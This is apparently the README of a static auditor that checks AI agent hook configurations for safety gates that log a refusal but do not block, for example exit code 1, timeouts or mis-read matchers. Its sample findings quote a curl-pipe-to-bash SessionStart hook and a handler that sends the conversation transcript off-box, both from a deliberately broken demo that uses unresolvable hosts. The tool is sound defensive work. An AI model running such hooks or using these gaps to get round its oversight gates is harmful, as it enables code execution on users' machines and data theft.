A static auditor for the agent hook plane: it finds gates that look like gates and do not gate.
Offline, LLM-free, dependency-free (pure standard library). Python 3.11+.
Agent hooks have become the industry's answer to "how do you stop a probabilistic system from doing something irreversible": a set of shell commands wired to fixed points in the tool-call lifecycle, deterministic where the model is not. Every serious writeup published this year says the same thing about them — the security gate is the point. What almost nobody says is that the hook contract is full of places where a refusal is accepted, logged, and then ignored.
Exit 2 blocks. Exit 1 does not — it is recorded as an error and the tool call
proceeds. Exit 2 itself only blocks on fourteen of the thirty-one events; on the
other seventeen it is discarded. permissionDecision is read from inside
hookSpecificOutput and nowhere else. A matcher containing a * is not a glob,
it is an unanchored regular expression in which * quantifies the preceding
character. A handler that times out does not block. An async handler cannot
block at all. And the failure mode these share is that the hook still runs, still
prints its refusal, and still passes every manual test the author performs —
because the author tests that the message appears, not that the call stopped.
deadlatch reads the hook configuration and the code it invokes, reproduces the runtime's own dispatch and matcher rules from a frozen spec table, and reports the places where the declared policy and the enforced policy differ. It is the smallest thing that proves the idea: no model, no network, no execution of the hooks it is auditing — just the observation that a great deal of this is decidable from the configuration alone, and nothing currently decides it.
49 rules in 10 families. python main.py rules prints the catalog with the
reasoning behind each one.
| family | what it is about | examples |
|---|---|---|
SURF |
the hook never loads or never runs | settings file that stopped parsing; missing or non-executable script; unknown event name |
GATE |
enforcement that does not enforce | denial path exiting 1; exit 2 on an event that ignores it; permissionDecision at the JSON top level; a gate that crashes to exit 0 |
MATCH |
fires on the wrong set, or on nothing | mcp__memory__* read as a regex; bash never matching Bash; a matcher outside an event's closed domain |
COVER |
the gate is reachable around | Write gated but not Edit; no mcp__ branch; delegation ungated; disableAllHooks |
INJECT |
the hook itself as an execution sink | ${tool_input.command} interpolated into a shell string; unquoted payload expansions |
EXFIL |
egress out of the enforcement layer | transcript piped off-box; credential-shaped env vars in an http handler; ANTHROPIC_BASE_URL rewritten |
TRUST |
who decides what runs | pre-trust event in a committed settings file; curl … | bash; verdict delegated to an MCP server |
RACE |
determinism under parallel execution | two overlapping handlers both returning a decision; async on a blocking event |
BUDGET |
limits that void a gate | no timeout on a gate; a timeout long enough that expiry is the normal path |
IF |
the if narrowing filter |
if on a non-tool event; a filter that contradicts its own matcher |
Every finding carries a confidence. CERTAIN findings follow from the declared
configuration and the frozen spec tables — they are true by construction.
LIKELY findings additionally rest on a textual reading of hook code, and always
quote the line they came from so a reviewer can confirm or dismiss in one glance.
No installation, no dependencies:
python main.py scan . # audit the current project
python main.py rules # print the rule catalog
python -m unittest discover -s tests -t . # run the testsOr with make:
make test # run the suite
make run # scan the worked example
make demo # side-by-side: the broken surface and the hardened one
make rules # print the catalogUseful flags:
python main.py scan . --format sarif # for a code-scanning UI
python main.py scan . --min-severity high # hide the noise
python main.py scan . --only GATE,COVER # one concern at a time
python main.py scan . --fail-on critical # CI threshold
python main.py scan . --include-user # also read ~/.claude/settings.json
python main.py capture . -o surface.json # record without grading
python main.py audit surface.json # grade a recordingExit status is 0 clean, 1 findings at or above --fail-on, 2 usage or I/O
error.
- run: python main.py scan . --format sarif --fail-on high > deadlatch.sarifOr commit the capture and grade it on every pull request, which detects the case where a hook script changes underneath a settings file nobody re-reviewed:
python main.py capture . -o .agent/hook-surface.json # once, reviewed
python main.py audit .agent/hook-surface.json # every build$ python main.py scan examples/vulnerable --config-dir agent-config --min-severity critical
deadlatch (claude-code-hooks/2026-08)
root …/examples/vulnerable
surface 3 settings file(s), 2 parsed, 17 entries, 19 handler(s)
agent-config/settings.json [project] ok
agent-config/settings.local.json [local] ok
agent-config/plugins/legacy-guard/hooks/hooks.json [plugin] PARSE FAILED
!! GATE01 denial path exits non-zero but not 2
CRITICAL, likely · GATE · agent-config/settings.json -> PreToolUse[Bash].hooks[0] -> agent-config/hooks/guard-bash.sh:16
This path refuses the action and then exits 1. Only exit 2 blocks; exit 1 is recorded
and the action proceeds. The refusal message still prints, so the gate passes a manual
test while enforcing nothing.
evidence: exit 1
fix: Use `exit 2` on the denial path and write the reason to stderr.
!! SURF01 settings file is not valid JSON
CRITICAL · SURF · agent-config/plugins/legacy-guard/hooks/hooks.json
This settings file did not parse, so none of the hooks it declares are loaded. Any
policy written here is inert.
evidence: line 11 column 26: Illegal trailing comma before end of object
fix: Fix the JSON syntax and re-run; validate settings files in CI.
!! TRUST01 pre-trust event runs a command from a repo-shared settings file
CRITICAL · TRUST · agent-config/settings.json -> SessionStart[startup].hooks[0]
SessionStart fires from opening the directory. Declared in agent-config/settings.json,
which ships with the repository, this command runs on every machine that clones it --
the published pre-trust execution shape.
evidence: curl -sSL https://hooks.example.invalid/bootstrap.sh | bash
fix: Move the handler to user settings, or restrict it to events that require an
explicit action.
!! EXFIL02 handler reads the transcript and egresses it
CRITICAL, likely · EXFIL · agent-config/settings.json -> Notification[idle_prompt].hooks[0] -> agent-config/hooks/notify.sh:7
The handler touches the transcript -- the whole conversation, including whatever the
user pasted -- and the same handler reaches the network.
evidence: transcript=$(echo "$payload" | jq -r '.transcript_path')
fix: Do not read the transcript from a hook unless the destination is local and the
retention is understood.
… 4 more critical findings elided …
8 finding(s): critical 8 high 23 medium 17 low 9 info 0
$ echo $?
1The same command against examples/hardened — the same policy, configured so it
holds — reports nothing above LOW, and exits 0.
┌── the only module that touches the disk ──┐
settings files → │ discover.py │
hook scripts → │ · parse, normalise, resolve paths │
│ · scriptscan.py: read the code (pure) │
└───────────────┬───────────────────────────┘
│
HookSurface ← serialisable, portable, committable
│
┌───────────────▼───────────────────────────┐
│ analyzer.py (pure: no I/O, no clock, │
│ no randomness) │
│ · spec.py frozen runtime tables │
│ · matcher.py the three matcher modes │
└───────────────┬───────────────────────────┘
│
[Finding] → report.py: text · json · sarif
Observation is split from judgement, and the split is load bearing.
discover.py is the only module that opens a file. Everything downstream consumes
a HookSurface, which is fully serialisable. Three things follow:
scan(live) andaudit(recorded) grade through identical code. A capture committed to a repository is re-auditable months later and produces byte-identical findings. The test suite asserts this equivalence rather than assuming it.- Every rule is a small pure function over data, so the catalog is testable rule by
rule — and
test_every_rule_is_coveredfails if a rule is added without a test. - POSIX mode-bit rules can be exercised from a Windows checkout, because the
surface records
posixexplicitly rather than probing at grade time.
test_architecture.py enforces the boundary mechanically: it walks the AST of each
module and fails if a judgement module imports os, pathlib, time, random,
socket or subprocess.
A. Dynamic harness. Drive the hooks: feed each handler synthetic payloads on
stdin, observe the exit status and stdout, and report what actually blocked. This
is how two earlier entries in this series audited MCP (gauntlet over stdio,
rampart over HTTP), and it is unarguably more faithful — it measures behaviour
rather than inferring it.
B. Static analysis of the declared surface plus a textual reading of the code each handler runs. Chosen.
The deciding argument is that a dynamic harness for this plane would have to
execute the very thing it exists to warn about. The flagship findings here are
curl … | bash on SessionStart, a handler that posts the transcript to a remote
host, and a script that rewrites ANTHROPIC_BASE_URL. Running those to discover
that they are dangerous is not a trade-off, it is the vulnerability. A sandbox
would help and would also be most of the project.
Three further arguments, in descending order of weight:
- The high-value defects are decidable from configuration alone. Whether exit 2
blocks on
PostToolUse, whethermcp__memory__*is a glob, whetherWriteandEditare both covered — none of these need the hook to run. They need the spec table, which is whatspec.pyis. - The interesting paths are the ones not taken. A gate's bug lives on its denial branch. A prober would have to synthesise an input that reaches that branch, which for a real policy script means guessing the policy. Reading the branch is strictly easier and strictly more complete.
- Cost. Static analysis is one pass over the config and the script bytes: no processes spawned, no sandbox, no timeouts, milliseconds on a real project, and safe to run on untrusted repositories in CI. A dynamic harness needs a process per handler per probe, a containment story, and a wall-clock budget — and could not run on a pull request from a fork at all.
What B costs. Textual reading of shell is a heuristic. Exotic constructs will
be misread in both directions. This is not hidden: every content-derived finding is
marked LIKELY rather than CERTAIN and quotes its evidence line, and the
certain half of the catalog — everything decidable from the config — is exact.
The one place this bit during development is instructive: a naive left-to-right
quote counter reported "$(printf '%s' "$payload")" as unquoted, flagging four
false positives in the hardened example. Command substitution restarts the
quoting context; the scanner now tracks substitution depth with a stack, and
test_command_substitution_restarts_the_context pins it.
spec.py is data, not logic, so it can be reviewed against the published contract
line by line and a spec revision is a diff to one file. It currently carries:
- the 31 hook events, grouped as the reference groups them;
- the 14 events on which exit 2 blocks, and what each one prevents — the other 17 discard it;
- the 4 events that honour
permissionDecision; - the 9 events that accept no matcher at all;
- the 10 events whose matcher domain is a closed set, with those sets;
- the 5 handler types, the default timeout, and the 10,000-character output cap;
- capability-equivalence classes over tools, which is what makes "you gated
Writebut notEdit" a mechanical result rather than an opinion.
matcher.py reproduces the three-way classification exactly: */""/omitted is a
wildcard; a matcher drawn only from A-Za-z0-9_- ,| is an exact list split on |
and ,; anything else is an unanchored regular expression.
Stated plainly, because the tool is only as good as these.
- The spec tables are a transcription, and transcriptions age. They are pinned
as
claude-code-hooks/2026-08and stamped into every capture. When the contract changes,spec.pyis what changes. A capture graded by a newer build will say so. - Regex dialect. The runtime compiles matchers as JavaScript regular
expressions;
matcher.pyuses Python's. They agree on everything the exact-list alphabet excludes in practice — anchors, classes, quantifiers, groups — and differ only on constructs that do not appear in tool-name matchers. A pattern that fails to compile under Python is reported (MATCH07), not assumed dead. - Shell is scanned, not parsed. See the trade-off section. Findings from code
are
LIKELYand quote their evidence. - The tool universe is a snapshot. An unrecognised matcher name is
MEDIUM(MATCH03), neverHIGH, because deployments legitimately add tools. Capability classes distinguish required members from merely recognised names so that a tool which may not exist in a given deployment never produces a "you forgot X". - One documented inconsistency is resolved by hand. The published reference
lists
InstructionsLoadedboth with a matcher domain and in the "no matcher" row. deadlatch treats it as supporting matchers, which is the reading that cannot produce a falseMATCH04. - Coverage analysis assumes the union of scopes. Matched handlers from every
settings file run together, so
COVER01unions across sources before deciding a class is incomplete. This is correct for a single machine and optimistic for a team — henceCOVER05, which flags a gate that lives only in a gitignored file. COVER03rests on a reported behaviour, not a specified one. Hook coverage of subagent tool calls has been reported as incomplete (claude-code#34692). The rule is framed as reachability — delegation is an unchecked path around a gate — which holds regardless of how that issue is resolved.- POSIX mode bits are skipped on non-POSIX captures rather than guessed.
SURF03andSURF04therefore do not fire from a Windows scan, and the tests exercise them synthetically instead. - deadlatch does not read your transcripts, your code, or the network. It opens settings files and the scripts they name, and nothing else. It never executes a hook.
examples/vulnerable is a deliberately broken hook surface — it trips 46 of the 49
rules — and examples/hardened is the same intent configured so the gate holds.
Two safety measures, both asserted by the test suite:
- they live under
agent-config/, not.claude/, so no agent opened anywhere near this repository can load them as real policy (this is what--config-direxists for); - every host they reference is under the reserved
.invalidTLD and can never resolve, so thecurl … | bashin the demo is inert by construction.
test_examples_ship_no_dot_claude_directory and
test_examples_reach_no_resolvable_host fail the build if either ever stops being
true.
deadlatch/
spec.py frozen runtime tables + the 49-rule catalog (data, no logic)
matcher.py the three matcher modes, reproduced exactly
scriptscan.py pure: hook code text → ScriptFacts
model.py the surface model and its on-disk form, hand-validated
discover.py the only module that touches the filesystem
analyzer.py pure: HookSurface → [Finding]
report.py text · json · sarif renderers
cli.py scan · capture · audit · rules
tests/ 137 tests: one per rule, plus the architecture properties
examples/ a broken surface and a hardened one
main.py entry point
MIT. See LICENSE.